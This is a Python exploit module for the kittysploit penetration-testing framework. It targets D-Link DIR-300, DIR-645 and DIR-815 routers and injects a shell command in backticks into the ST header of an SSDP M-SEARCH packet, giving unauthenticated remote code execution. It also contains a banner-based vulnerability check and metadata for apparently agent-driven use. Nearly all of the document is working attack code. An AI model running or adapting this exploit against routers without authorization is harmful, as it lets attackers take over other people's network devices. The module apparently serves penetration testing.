D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE"""

import socket

from kittysploit import *
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        'name': 'D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE',
        'description': 'Module exploits D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability which allows executing command on the device.',
        'author': ['Zachary Cutlip', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html', 'https://www.exploit-db.com/exploits/34065/'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(1900, "Target UPNP port")

    def execute(self, cmd):
        cmd = bytes(cmd, "utf-8")

        request = (
            b"M-SEARCH * HTTP/1.1\r\n" +
            b"Host:239.255.255.250:1900\r\n" +
            b"ST:uuid:`" + cmd + b"`\r\n" +
            b"Man:\"ssdp:discover\"\r\n" +
            b"MX:2\r\n\r\n"
        )

        udp_client = _udp_socket(self)
        udp_client.send(request)
        udp_client.close()

        return ""
    def check(self):
        request = (
            b"M-SEARCH * HTTP/1.1\r\n"
            b"Host:239.255.255.250:1900\r\n"
            b"ST:upnp:rootdevice\r\n"
            b"Man:\"ssdp:discover\"\r\n"
            b"MX:2\r\n\r\n"
        )

        udp_client = _udp_socket(self)

        if udp_client:
            udp_client.send(request)
            response = udp_client.recv(65535)
            udp_client.close()

            if response and b"Linux, UPnP/1.0, DIR-" in response:
                return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()